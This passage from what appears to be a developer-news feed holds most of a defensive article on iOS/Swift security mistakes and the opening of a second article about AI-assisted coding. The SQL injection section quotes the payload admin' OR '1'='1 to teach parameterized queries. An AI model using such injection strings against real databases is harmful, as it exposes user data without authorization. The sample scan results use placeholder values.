<p><strong>1. Validate User Input with Patterns</strong></p>
<p>Always validate user input using regular expressions or predefined patterns before processing. For example, when accepting email addresses:</p>
<pre><code class="lang-swift"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">isValidEmail</span><span class="hljs-params">(<span class="hljs-number">_</span> email: String)</span></span> -&gt; <span class="hljs-type">Bool</span> {
    <span class="hljs-keyword">let</span> emailRegex = <span class="hljs-string">"[A-Z0-9a-z._%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]{2,64}"</span>
    <span class="hljs-keyword">let</span> emailPredicate = <span class="hljs-type">NSPredicate</span>(format: <span class="hljs-string">"SELF MATCHES %@"</span>, emailRegex)
    <span class="hljs-keyword">return</span> emailPredicate.evaluate(with: email)
}

<span class="hljs-comment">// Only accept properly formatted data</span>
<span class="hljs-keyword">guard</span> isValidEmail(userEmail) <span class="hljs-keyword">else</span> {
    <span class="hljs-comment">// Reject invalid input</span>
    <span class="hljs-keyword">return</span>
}
</code></pre>
<p>This ensures that only properly formatted data is accepted, preventing malformed or malicious input from entering your system.</p>
<p><strong>2. Sanitize API Responses</strong></p>
<p>Never trust external data. Always validate and sanitize API responses before using them:</p>
<pre><code class="lang-swift"><span class="hljs-keyword">if</span> <span class="hljs-keyword">let</span> userAge = apiResponse[<span class="hljs-string">"age"</span>] <span class="hljs-keyword">as</span>? <span class="hljs-type">Int</span>,
   userAge &gt;= <span class="hljs-number">0</span> &amp;&amp; userAge &lt;= <span class="hljs-number">150</span> {
    <span class="hljs-comment">// Safe to use</span>
    user.age = userAge
} <span class="hljs-keyword">else</span> {
    <span class="hljs-comment">// Handle invalid data appropriately</span>
    <span class="hljs-keyword">throw</span> <span class="hljs-type">ValidationError</span>.invalidAge
}
</code></pre>
<p><strong>3. Use Parameterized Queries (Most Critical)</strong></p>
<p>The most dangerous mistake is building database queries through string concatenation. Consider this vulnerable code:</p>
<pre><code class="lang-swift"><span class="hljs-comment">// ❌ NEVER DO THIS - Vulnerable to SQL Injection</span>
<span class="hljs-keyword">let</span> username = userInput  <span class="hljs-comment">// Could be: "admin' OR '1'='1"</span>
<span class="hljs-keyword">let</span> query = <span class="hljs-string">"SELECT * FROM users WHERE username = '\(username)'"</span>
database.execute(query)
</code></pre>
<p>If a malicious user enters admin' OR '1'='1 as their username, the query becomes:</p>
<pre><code class="lang-sql"><span class="hljs-keyword">SELECT</span> * <span class="hljs-keyword">FROM</span> <span class="hljs-keyword">users</span> <span class="hljs-keyword">WHERE</span> username = <span class="hljs-string">'admin'</span> <span class="hljs-keyword">OR</span> <span class="hljs-string">'1'</span>=<span class="hljs-string">'1'</span>
</code></pre>
<p>This would return all users in the database instead of just one, potentially exposing sensitive data. The secure solution uses parameterized queries:</p>
<pre><code class="lang-swift"><span class="hljs-comment">// ✅ SAFE - Using parameterized queries</span>
<span class="hljs-keyword">let</span> query = <span class="hljs-string">"SELECT * FROM users WHERE username = ?"</span>
database.execute(query, withArgumentsIn: [username])
</code></pre>
<p>In this approach, the <code>?</code> is a placeholder that the database treats as a parameter, not as part of the SQL command. The username value is passed separately in the <code>withArgumentsIn</code> array.</p>
<p>This means that even if a user tries to inject SQL code like <code>admin' OR '1'='1</code>, the database will treat the entire string as a literal username to search for – not as executable SQL code. The database engine automatically escapes any special characters, completely eliminating the risk of SQL injection.</p>
<p>By separating the query structure from the data, parameterized queries ensure that user input can never alter the intended logic of your SQL statements.</p>
<h3 id="heading-4-hardcoding-secrets">4. Hardcoding Secrets</h3>
<p>API keys, credentials, or private tokens hard-coded in the source code is another serious security mistake. Attackers can extract such secrets from compiled binaries using reverse-engineering tools, especially for apps released to the public.</p>
<p>Once exposed, these credentials can be used to access your backend services, potentially leading to data breaches or unauthorized charges.</p>
<h4 id="heading-the-problem-hardcoded-secrets">The Problem – Hardcoded Secrets:</h4>
<pre><code class="lang-swift"><span class="hljs-comment">// NEVER DO THIS</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">APIClient</span> </span>{
    <span class="hljs-keyword">private</span> <span class="hljs-keyword">let</span> apiKey = <span class="hljs-string">"1234567890abcdef"</span>
    <span class="hljs-keyword">private</span> <span class="hljs-keyword">let</span> secretToken = <span class="hljs-string">"sk_live_51H..."</span>

    <span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">makeRequest</span><span class="hljs-params">()</span></span> {
        <span class="hljs-comment">// These secrets are embedded in your binary</span>
        <span class="hljs-keyword">let</span> headers = [<span class="hljs-string">"Authorization"</span>: <span class="hljs-string">"Bearer \(apiKey)"</span>]
    }
}
</code></pre>
<p><strong>How to Fix:</strong></p>
<p>Never store sensitive credentials directly in your code. Here are secure alternatives:</p>
<p><strong>Solution 1: Fetch Secrets from Backend at Runtime</strong></p>
<p>The most secure approach is to never store secrets on the client at all. Instead, authenticate users and let your backend make authorized API calls:</p>
<pre><code class="lang-swift"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">APIClient</span> </span>{
    <span class="hljs-keyword">private</span> <span class="hljs-keyword">var</span> sessionToken: <span class="hljs-type">String?</span>

    <span class="hljs-comment">// User logs in and receives a temporary session token</span>
    <span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">authenticateUser</span><span class="hljs-params">(email: String, password: String)</span></span> async <span class="hljs-keyword">throws</span> {
        <span class="hljs-keyword">let</span> response = <span class="hljs-keyword">try</span> await backend.login(email: email, password: password)
        <span class="hljs-comment">// Store only a temporary, user-specific session token</span>
        <span class="hljs-keyword">self</span>.sessionToken = response.sessionToken
    }

    <span class="hljs-comment">// Backend handles the actual API calls with the real API key</span>
    <span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">fetchUserData</span><span class="hljs-params">()</span></span> async <span class="hljs-keyword">throws</span> -&gt; <span class="hljs-type">UserData</span> {
        <span class="hljs-keyword">guard</span> <span class="hljs-keyword">let</span> token = sessionToken <span class="hljs-keyword">else</span> {
            <span class="hljs-keyword">throw</span> <span class="hljs-type">AuthError</span>.notAuthenticated
        }

        <span class="hljs-comment">// Your backend receives this request, validates the session token,</span>
        <span class="hljs-comment">// then uses its own API keys to fetch data from third-party services</span>
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">try</span> await backend.getUserData(sessionToken: token)
    }
}
</code></pre>
<p><strong>How this works:</strong></p>
<p>Your app never knows the actual API keys. When a user needs data, your app sends a request to your own backend server with a session token. Your backend validates the token, then uses its own securely stored API keys to make the actual third-party API calls. This way, the real secrets never leave your server.</p>
<p><strong>Solution 2: Environment Variables or Config Files (Development Only)</strong></p>
<p>For development environments, use .xcconfig files that are excluded from version control:</p>
<pre><code class="lang-swift"><span class="hljs-comment">// Secrets.xcconfig (add to .gitignore!)</span>
<span class="hljs-type">API_KEY</span> = your_dev_api_key_here
<span class="hljs-type">API_SECRET</span> = your_dev_secret_here

<span class="hljs-comment">// Access in your code through Info.plist</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Config</span> </span>{
    <span class="hljs-keyword">static</span> <span class="hljs-keyword">let</span> apiKey: <span class="hljs-type">String</span> = {
        <span class="hljs-keyword">guard</span> <span class="hljs-keyword">let</span> key = <span class="hljs-type">Bundle</span>.main.object(forInfoDictionaryKey: <span class="hljs-string">"API_KEY"</span>) <span class="hljs-keyword">as</span>? <span class="hljs-type">String</span> <span class="hljs-keyword">else</span> {
            <span class="hljs-built_in">fatalError</span>(<span class="hljs-string">"API_KEY not found in configuration"</span>)
        }
        <span class="hljs-keyword">return</span> key
    }()
}
</code></pre>
<p><strong>Important</strong>: This approach is only suitable for non-production environments! Never ship production API keys with your app, even in config files.</p>
<h3 id="heading-5-insufficient-authentication-and-authorization">5. Insufficient Authentication and Authorization</h3>
<p>Relying on client-side authentication and authorization checks is risky. Attackers can cause the app to bypass these checks and access in an unauthorized way by brute forcing or tampering with the app/runtime.</p>
<h4 id="heading-how-to-fix-3">How to Fix:</h4>
<ul>
<li><p>Do authentication and authorization on the server side instead of the client-side.</p>
</li>
<li><p>Use JWT (JSON Web Tokens) or OAuth 2.0 for authenticated user login.</p>
</li>
<li><p>Token expiration and refresh logic needs to be implemented in order to minimize the likelihood of token theft.</p>
</li>
</ul>
<p><strong>Example: Securely sending JWT:</strong></p>
<pre><code class="lang-swift"><span class="hljs-keyword">let</span> request = <span class="hljs-type">URLRequest</span>(url: apiURL)

request.setValue(<span class="hljs-string">"Bearer \(jwtToken)"</span>, forHTTPHeaderField: <span class="hljs-string">"Authorization"</span>)
</code></pre>
<h3 id="heading-6-insecure-logging-and-error-handling">6. Insecure Logging and Error Handling</h3>
<p>Extensive and insecure logging practices, as well as uncaught exceptions, can lead to the exposure of sensitive information including usernames, passwords, and API keys.</p>
<h4 id="heading-how-to-fix-4">How to Fix:</h4>
<ul>
<li><p>Log sensitive information carefully.</p>
</li>
<li><p>Implement controlled error management and provide the minimum amount of information in user-presented messages.</p>
</li>
<li><p>Implement secure logging libraries that mask or encrypt personal data.</p>
</li>
</ul>
<pre><code class="lang-swift"><span class="hljs-keyword">do</span> {
    <span class="hljs-keyword">try</span> someRiskyOperation()
} <span class="hljs-keyword">catch</span> {
    <span class="hljs-comment">// Log error securely</span>
    <span class="hljs-type">Logger</span>.log(<span class="hljs-string">"Operation failed: \(error.localizedDescription)"</span>)
}
</code></pre>
<h3 id="heading-7-ignoring-code-obfuscation-and-reverse-engineering">7. Ignoring Code Obfuscation and Reverse Engineering</h3>
<p>Swift binaries can be reverse-engineered to expose sensitive business logic, algorithms, or hidden secrets. Attackers use tools like Hopper Disassembler, class-dump, or IDA Pro to decompile your app and analyze how it works internally. This risk is often underestimated, especially for smaller apps, but any app can be a target.</p>
<p>This means that when you compile a Swift app, the resulting binary contains:</p>
<ul>
<li><p>Class names and method signatures</p>
</li>
<li><p>String literals (URLs, error messages, keys)</p>
</li>
<li><p>The structure of your code logic</p>
</li>
<li><p>Algorithm implementations</p>
</li>
</ul>
<p>An attacker can extract this information and use it to understand your app's authentication flow and bypass it, copy your proprietary algorithms, find hardcoded API endpoints or keys you thought were "hidden", discover premium features to unlock without paying, and so on.</p>
<p><strong>Why It's Bad – Real Example:</strong></p>
<p>Let's imagine you have a premium feature check in your app:</p>
<pre><code class="lang-swift"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">FeatureManager</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">isPremiumUser</span><span class="hljs-params">()</span></span> -&gt; <span class="hljs-type">Bool</span> {
        <span class="hljs-comment">// Check if user has premium access</span>
        <span class="hljs-keyword">let</span> hasSubscription = <span class="hljs-type">UserDefaults</span>.standard.bool(forKey: <span class="hljs-string">"premium_unlocked"</span>)
        <span class="hljs-keyword">return</span> hasSubscription
    }

    <span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">unlockPremiumFeature</span><span class="hljs-params">()</span></span> {
        <span class="hljs-keyword">guard</span> isPremiumUser() <span class="hljs-keyword">else</span> {
            showPaywall()
            <span class="hljs-keyword">return</span>
        }
        <span class="hljs-comment">// Show premium content</span>
        showPremiumContent()
    }
}
</code></pre>
<p>An attacker could reverse-engineer your app and discover that the method <code>isPremiumUser()</code> controls access, and that it simply checks a <code>UserDefaults</code> key called <code>premium_unlocked</code>. They would then know that they could use runtime manipulation tools to set this value to true, bypassing your paywall entirely.</p>
<p><strong>How to Fix:</strong></p>
<p><strong>1. Use Swift Compiler Optimizations</strong></p>
<p>Enable optimization flags that strip debugging symbols and make the binary harder to read:</p>
<pre><code class="lang-swift"><span class="hljs-comment">// In your build settings:</span>
<span class="hljs-comment">// - Set "Optimization Level" to "-O" (or -Osize) for release builds</span>
<span class="hljs-comment">// - Enable "Strip Debug Symbols During Copy" = YES</span>
<span class="hljs-comment">// - Set "Strip Style" to "All Symbols"</span>
</code></pre>
<p>This removes function names and makes the compiled code less readable – though class/method names remain partially visible.</p>
<p><strong>2. Use Symbol Obfuscation Tools</strong></p>
<p>Tools like SwiftShield can rename your classes, methods, and properties to meaningless names:</p>
<pre><code class="lang-swift"><span class="hljs-comment">// Before obfuscation (readable to attackers):</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">FeatureManager</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">isPremiumUser</span><span class="hljs-params">()</span></span> -&gt; <span class="hljs-type">Bool</span> { ... }
}

<span class="hljs-comment">// After obfuscation (harder to understand):</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">a7f3b2</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">x9k2m</span><span class="hljs-params">()</span></span> -&gt; <span class="hljs-type">Bool</span> { ... }
}
</code></pre>
<p>While this doesn't prevent reverse engineering, it makes it significantly harder for attackers to understand what the code does.</p>
<p><strong>3. Move Sensitive Logic to the Server (Best Practice)</strong></p>
<p>Instead of checking premium status locally, verify it server-side:</p>
<pre><code class="lang-swift"><span class="hljs-comment">// ✅ Secure approach - Server validates everything</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">FeatureManager</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">unlockPremiumFeature</span><span class="hljs-params">()</span></span> async {
        <span class="hljs-keyword">do</span> {
            <span class="hljs-comment">// Server checks if user truly has premium access</span>
            <span class="hljs-keyword">let</span> hasAccess = <span class="hljs-keyword">try</span> await backend.verifyPremiumAccess(userId: currentUserId)

            <span class="hljs-keyword">if</span> hasAccess {
                showPremiumContent()
            } <span class="hljs-keyword">else</span> {
                showPaywall()
            }
        } <span class="hljs-keyword">catch</span> {
            <span class="hljs-comment">// Handle error</span>
            showPaywall()
        }
    }
}
</code></pre>
<p><strong>How this works:</strong></p>
<p>Your backend maintains the source of truth about premium access. Even if an attacker reverse-engineers your app and tries to bypass the check, the server will reject unauthorized requests. The app becomes just a UI layer, while all critical decisions happen server-side – where attackers can't manipulate them.</p>
<p>The key principle is to assume your app code is public: never rely on client-side checks for security-critical operations like payments, access control, or authentication. Use obfuscation to make reverse engineering harder, but ultimately move sensitive logic to your secure backend</p>
<h3 id="heading-8-insecure-third-party-libraries">8. Insecure Third-Party Libraries</h3>
<p>Third-party libraries are at risk if they are hacked or outdated. Developers might inadvertently prioritize app functionality over potential security risks from dependencies, and <a target="_blank" href="https://airbyte.com/top-etl-tools-for-sources/etl-tools">ETL tools</a> can further help by streamlining the monitoring and processing of dependency-related data to identify vulnerabilities more efficiently.</p>
<p>On a broader scale, implementing strong data center security practices ensures that even if third-party components introduce risks, the underlying infrastructure remains resilient against attacks.</p>
<h4 id="heading-how-to-fix-5">How to Fix:</h4>
<ul>
<li><p>Use only high-quality, well-maintained libraries.</p>
</li>
<li><p>Update dependencies and monitor CVEs (Common Vulnerabilities and Exposures).</p>
</li>
<li><p>Audit library code if it handles sensitive data.</p>
</li>
</ul>
<h3 id="heading-9-insufficient-biometric-and-multi-factor-authentication">9. Insufficient Biometric and Multi-Factor Authentication</h3>
<p>Most applications rely on passwords alone, which are vulnerable to being hacked. Enabling biometrics like Face ID or Touch ID enhances security for users.</p>
<h4 id="heading-how-to-fix-6">How to Fix:</h4>
<ul>
<li><p>Tie LocalAuthentication framework for biometric authentication.</p>
</li>
<li><p>Combine biometrics with server-based authentication for multifactor authentication (MFA).</p>
</li>
</ul>
<pre><code class="lang-swift"><span class="hljs-keyword">import</span> LocalAuthentication

<span class="hljs-keyword">let</span> context = <span class="hljs-type">LAContext</span>()

<span class="hljs-keyword">var</span> error: <span class="hljs-type">NSError?</span>

<span class="hljs-keyword">if</span> context.canEvaluatePolicy(.deviceOwnerAuthenticationWithBiometrics, error: &amp;error) {

    context.evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics,

                        localizedReason: <span class="hljs-string">"Access your account"</span>) { success, authError <span class="hljs-keyword">in</span>

        <span class="hljs-type">DispatchQueue</span>.main.async {

         <span class="hljs-keyword">if</span> success {

                <span class="hljs-comment">// Proceed securely</span>

         } <span class="hljs-keyword">else</span> {

                <span class="hljs-comment">// Handle failure (authError may contain the reason)</span>

                <span class="hljs-built_in">print</span>(<span class="hljs-string">"Authentication failed: \(authError?.localizedDescription ?? "</span><span class="hljs-type">Unknown</span> error<span class="hljs-string">")"</span>)

         }

     }

}

} <span class="hljs-keyword">else</span> {

<span class="hljs-comment">// Biometrics not available, check error for details</span>

    <span class="hljs-built_in">print</span>(<span class="hljs-string">"Biometrics unavailable: \(error?.localizedDescription ?? "</span><span class="hljs-type">Unknown</span> error<span class="hljs-string">")"</span>)

}
</code></pre>
<h3 id="heading-10-disregarding-periodic-security-testing">10. Disregarding Periodic Security Testing</h3>
<p>Apps, despite following best practices during development, often contain unexplored vulnerabilities that emerge from complex interactions, third-party dependencies, or newly discovered attack vectors. Regular security testing is absolutely essential to discover these vulnerabilities before attackers exploit them.</p>
<p>Security testing should happen at multiple stages, using accessible tools and practices:</p>
<ol>
<li><p><strong>Automated security scans:</strong> Run automatically with every build to catch common issues.</p>
</li>
<li><p><strong>Self-conducted code audits:</strong> Regular security-focused reviews of your own code using established guidelines.</p>
</li>
<li><p><strong>Vulnerability scanning tools:</strong> Use free tools like MobSF to analyze your app for security flaws.</p>
</li>
<li><p><strong>Dependency audits:</strong> Checking third-party libraries for known security vulnerabilities.</p>
</li>
</ol>
<p><strong>How to Fix:</strong></p>
<p><strong>1. Implement Automated Security Scans in CI/CD</strong></p>
<p>Integrate security scanning tools into your continuous integration pipeline so every code change is automatically checked:</p>
<pre><code class="lang-swift"># <span class="hljs-type">Example</span>: <span class="hljs-type">GitHub</span> <span class="hljs-type">Actions</span> workflow <span class="hljs-keyword">for</span> automated security scanning
name: <span class="hljs-type">Security</span> <span class="hljs-type">Scan</span>

on: [push, pull_request]

jobs:
  security-scan:
    runs-on: macos-latest

    steps:
      - name: <span class="hljs-type">Checkout</span> code
        uses: actions/checkout@v3

      - name: <span class="hljs-type">Run</span> <span class="hljs-type">MobSF</span> <span class="hljs-type">Security</span> <span class="hljs-type">Scan</span>
        run: |
          # <span class="hljs-type">Mobile</span> <span class="hljs-type">Security</span> <span class="hljs-type">Framework</span> - scans <span class="hljs-keyword">for</span> common vulnerabilities
          docker run -v $(pwd):/app opensecurity/mobile-security-framework-mobsf

      - name: <span class="hljs-type">Dependency</span> <span class="hljs-type">Vulnerability</span> <span class="hljs-type">Check</span>
        run: |
          # <span class="hljs-type">Check</span> <span class="hljs-type">CocoaPods</span>/<span class="hljs-type">SPM</span> dependencies <span class="hljs-keyword">for</span> known <span class="hljs-type">CVEs</span>
          brew install dependency-check
          dependency-check --scan ./<span class="hljs-type">Podfile</span>.lock --format <span class="hljs-type">JSON</span>

      - name: <span class="hljs-type">Secret</span> <span class="hljs-type">Detection</span>
        run: |
          # <span class="hljs-type">Detect</span> accidentally committed secrets
          brew install truffleHog
          truffleHog filesystem . --json

      - name: <span class="hljs-type">Fail</span> build on critical issues
        run: |
          <span class="hljs-keyword">if</span> grep -q <span class="hljs-string">"CRITICAL"</span> security-report.json; then
            echo <span class="hljs-string">"Critical security issues found!"</span>
            exit <span class="hljs-number">1</span>
          fi
</code></pre>
<p><strong>Automated scans check for:</strong></p>
<ul>
<li><p>Hardcoded API keys, tokens, or passwords</p>
</li>
<li><p>Insecure network configurations (allowing HTTP instead of HTTPS)</p>
</li>
<li><p>Weak cryptographic algorithms</p>
</li>
<li><p>Known vulnerabilities in third-party libraries</p>
</li>
<li><p>Improper SSL/TLS certificate validation</p>
</li>
<li><p>Insecure data storage (storing sensitive data in UserDefaults)</p>
</li>
<li><p>Excessive app permissions</p>
</li>
</ul>
<p><strong>Example output from an automated scan:</strong></p>
<pre><code class="lang-swift"><span class="hljs-type">Security</span> <span class="hljs-type">Scan</span> <span class="hljs-type">Results</span>:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[<span class="hljs-type">CRITICAL</span>] <span class="hljs-type">Hardcoded</span> <span class="hljs-type">API</span> <span class="hljs-type">Key</span> <span class="hljs-type">Found</span>
  <span class="hljs-type">File</span>: <span class="hljs-type">APIClient</span>.swift:<span class="hljs-number">15</span>
  <span class="hljs-type">Issue</span>: <span class="hljs-type">API</span> key <span class="hljs-string">"sk_live_abc123..."</span> detected <span class="hljs-keyword">in</span> source code

[<span class="hljs-type">HIGH</span>] <span class="hljs-type">Insecure</span> <span class="hljs-type">HTTP</span> <span class="hljs-type">Connection</span>
  <span class="hljs-type">File</span>: <span class="hljs-type">NetworkManager</span>.swift:<span class="hljs-number">42</span>
  <span class="hljs-type">Issue</span>: <span class="hljs-type">App</span> allows cleartext <span class="hljs-type">HTTP</span> traffic to api.example.com
  <span class="hljs-type">Fix</span>: <span class="hljs-type">Enforce</span> <span class="hljs-type">HTTPS</span> or add exception to <span class="hljs-type">Info</span>.plist <span class="hljs-keyword">if</span> <span class="hljs-keyword">required</span>

[<span class="hljs-type">MEDIUM</span>] <span class="hljs-type">Weak</span> <span class="hljs-type">Encryption</span> <span class="hljs-type">Algorithm</span>
  <span class="hljs-type">File</span>: <span class="hljs-type">DataEncryption</span>.swift:<span class="hljs-number">28</span>
  <span class="hljs-type">Issue</span>: <span class="hljs-type">Using</span> <span class="hljs-type">MD5</span> <span class="hljs-keyword">for</span> hashing (cryptographically broken)
  <span class="hljs-type">Fix</span>: <span class="hljs-type">Use</span> <span class="hljs-type">SHA</span>-<span class="hljs-number">256</span> or better

[<span class="hljs-type">LOW</span>] <span class="hljs-type">Outdated</span> <span class="hljs-type">Dependency</span>
  <span class="hljs-type">Library</span>: <span class="hljs-type">Alamofire</span> <span class="hljs-number">4.2</span>.<span class="hljs-number">0</span>
  <span class="hljs-type">Issue</span>: <span class="hljs-type">Known</span> vulnerability <span class="hljs-type">CVE</span>-<span class="hljs-number">2021</span>-<span class="hljs-number">12345</span>
  <span class="hljs-type">Fix</span>: <span class="hljs-type">Update</span> to version <span class="hljs-number">5.6</span>.<span class="hljs-number">0</span> or later
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
<span class="hljs-type">Build</span> <span class="hljs-type">Failed</span>: <span class="hljs-number">2</span> critical issues must be fixed before deployment
</code></pre>
<p><strong>2. Use MobSF (Mobile Security Framework) for Vulnerability Analysis</strong></p>
<p>MobSF is a free, automated tool that analyzes your iOS app for security issues:</p>
<pre><code class="lang-swift"># <span class="hljs-type">Install</span> and run <span class="hljs-type">MobSF</span> locally
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p <span class="hljs-number">8000</span>:<span class="hljs-number">8000</span> opensecurity/mobile-security-framework-mobsf

# <span class="hljs-type">Upload</span> your .ipa file through the web interface at localhost:<span class="hljs-number">8000</span>
# <span class="hljs-type">MobSF</span> will analyze and provide a detailed security report
</code></pre>
<p>What MobSF checks:</p>
<ul>
<li><p>Binary analysis for hardcoded secrets</p>
</li>
<li><p>Insecure data storage patterns</p>
</li>
<li><p>Weak cryptographic implementations</p>
</li>
<li><p>Insecure network connections</p>
</li>
<li><p>Code quality and security best practices</p>
</li>
<li><p>Compliance with security standards</p>
</li>
</ul>
<p><strong>3. Conduct Regular Code Audits Using OWASP MSTG</strong></p>
<p>Use the OWASP Mobile Security Testing Guide as a checklist to audit your own code:</p>
<pre><code class="lang-swift"><span class="hljs-comment">// Example: Following OWASP MSTG recommendations for secure storage</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">SecureStorage</span> </span>{
    <span class="hljs-comment">// ❌ Insecure - UserDefaults is not encrypted</span>
    <span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">saveTokenInsecurely</span><span class="hljs-params">(<span class="hljs-number">_</span> token: String)</span></span> {
        <span class="hljs-type">UserDefaults</span>.standard.<span class="hljs-keyword">set</span>(token, forKey: <span class="hljs-string">"authToken"</span>)
    }

    <span class="hljs-comment">// ✅ Secure - Using Keychain as OWASP recommends</span>
    <span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">saveTokenSecurely</span><span class="hljs-params">(<span class="hljs-number">_</span> token: String)</span></span> <span class="hljs-keyword">throws</span> {
        <span class="hljs-keyword">let</span> data = token.data(using: .utf8)!
        <span class="hljs-keyword">let</span> query: [<span class="hljs-type">String</span>: <span class="hljs-type">Any</span>] = [
            kSecClass <span class="hljs-keyword">as</span> <span class="hljs-type">String</span>: kSecClassGenericPassword,
            kSecAttrAccount <span class="hljs-keyword">as</span> <span class="hljs-type">String</span>: <span class="hljs-string">"authToken"</span>,
            kSecValueData <span class="hljs-keyword">as</span> <span class="hljs-type">String</span>: data,
            kSecAttrAccessible <span class="hljs-keyword">as</span> <span class="hljs-type">String</span>: kSecAttrAccessibleWhenUnlockedThisDeviceOnly
        ]

        <span class="hljs-type">SecItemDelete</span>(query <span class="hljs-keyword">as</span> <span class="hljs-type">CFDictionary</span>)
        <span class="hljs-keyword">let</span> status = <span class="hljs-type">SecItemAdd</span>(query <span class="hljs-keyword">as</span> <span class="hljs-type">CFDictionary</span>, <span class="hljs-literal">nil</span>)

        <span class="hljs-keyword">guard</span> status == errSecSuccess <span class="hljs-keyword">else</span> {
            <span class="hljs-keyword">throw</span> <span class="hljs-type">StorageError</span>.saveFailed
        }
    }
}
</code></pre>
<p><strong>OWASP MSTG Checklist for Self-Audit:</strong></p>
<ul>
<li><p>[ ] Are all sensitive data encrypted at rest?</p>
</li>
<li><p>[ ] Is HTTPS enforced for all network calls?</p>
</li>
<li><p>[ ] Are certificates properly validated?</p>
</li>
<li><p>[ ] Is sensitive data excluded from logs?</p>
</li>
<li><p>[ ] Are API keys and secrets not hardcoded?</p>
</li>
<li><p>[ ] Is user input validated and sanitized?</p>
</li>
<li><p>[ ] Are authentication tokens stored securely in Keychain?</p>
</li>
</ul>
<p><strong>4. Automated Dependency Scanning</strong></p>
<p>Monitor your dependencies continuously for newly discovered vulnerabilities:</p>
<pre><code class="lang-swift"># <span class="hljs-type">For</span> <span class="hljs-type">CocoaPods</span> projects
gem install cocoapods-audit
pod audit

# <span class="hljs-type">For</span> <span class="hljs-type">Swift</span> <span class="hljs-type">Package</span> <span class="hljs-type">Manager</span>
# <span class="hljs-type">Use</span> <span class="hljs-type">GitHub</span> <span class="hljs-type">Dependabot</span> (free <span class="hljs-keyword">for</span> <span class="hljs-keyword">public</span> repos) or
brew install swift-outdated
swift-outdated
</code></pre>
<p>And set up automated alerts with these tools:</p>
<ul>
<li><p><strong>GitHub Dependabot:</strong> Automatically creates PRs when vulnerable dependencies are detected (free)</p>
</li>
<li><p><strong>Snyk</strong>: Free tier available for open-source projects</p>
</li>
<li><p><strong>OWASP Dependency-Check:</strong> Free command-line tool</p>
</li>
</ul>
<h2 id="heading-conclusion"><strong>Conclusion</strong></h2>
<p>Developing secure iOS apps using Swift is all about forward-thinking. You should do all you can to avoid these common errors, like insecure storage of data, poor network communication, hard-coded secrets, or poor authentication.</p>
<p>Using Keychain for confidential information, requiring HTTPS, input validation, and multifactor authentication are all steps that decrease risk.</p>
<p>Regular testing for security vulnerabilities and limiting third-party library use can also further enhance your app's security.</p>
<p>Security is a continuous responsibility. Swift provides tools, but the developers need to apply those tools carefully. Security being tackled right from the start protects users' information, creates trust, and protects the reputation of the application.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How AI is Changing the Way We Code ]]>
                </title>
                <description>
                    <![CDATA[ Something big is happening in the world of software development. In 2025, the way we write, read, and think about software has undergone a significant shift, and it’s not subtle. At the center of this shift is artificial intelligence. Just five years... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-ai-is-changing-the-way-we-code/</link>
                <guid isPermaLink="false">689e02053c949f7b9979e30a</guid>
                
                    <category>
                        <![CDATA[ Artificial Intelligence ]]>
                    </category>
                
                    <category>
                        <![CDATA[ AI in Coding ]]>
                    </category>
                
                    <category>
                        <![CDATA[ CodingWithAI ]]>
                    </category>
                
                    <category>
                        <![CDATA[ coding with copilot ]]>
                    </category>
                
                    <category>
                        <![CDATA[ AI prompts ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Alex Tray ]]>
                </dc:creator>
                <pubDate>Thu, 14 Aug 2025 15:34:29 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1755185611603/1baeca15-abe2-4b54-9235-803f50006e06.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Something big is happening in the world of software development. In 2025, the way we write, read, and think about software has undergone a significant shift, and it’s not subtle. At the center of this shift is artificial intelligence.</p>
<p>Just five years ago, AI was primarily a helper, nudging us with autocomplete, suggesting fixes, and streamlining workflows. Today, it’s far more hands-on. Tools powered by large language models (LLMs) are stepping up to handle tasks that once required years of developer experience.</p>
<p>Tools have matured. Adoption has exploded. And developers are embracing the idea that AI isn't a threat but a co-pilot.</p>
<p>This isn’t a story about replacement. It’s a story about partnership. In 2025, programmers are still programming. But how they do it and how much faster, smarter, and creatively they work, is a whole new ballgame.</p>
<h2 id="heading-table-of-contents">Table of Contents</h2>
<ol>
<li><p><a class="post-section-overview" href="#heading-the-rise-of-ai-powered-coding-tools">The Rise of AI-Powered Coding Tools</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-how-ai-is-transforming-the-coding-process">How AI is Transforming the Coding Process (Step-by-Step)</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-the-implications-productivity-creativity-and-risks">The Implications: Productivity, Creativity, and Risks</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-and-whats-next">And What’s Next?</a></p>
</li>
</ol>
<h2 id="heading-the-rise-of-ai-powered-coding-tools">The Rise of AI-Powered Coding Tools</h2>
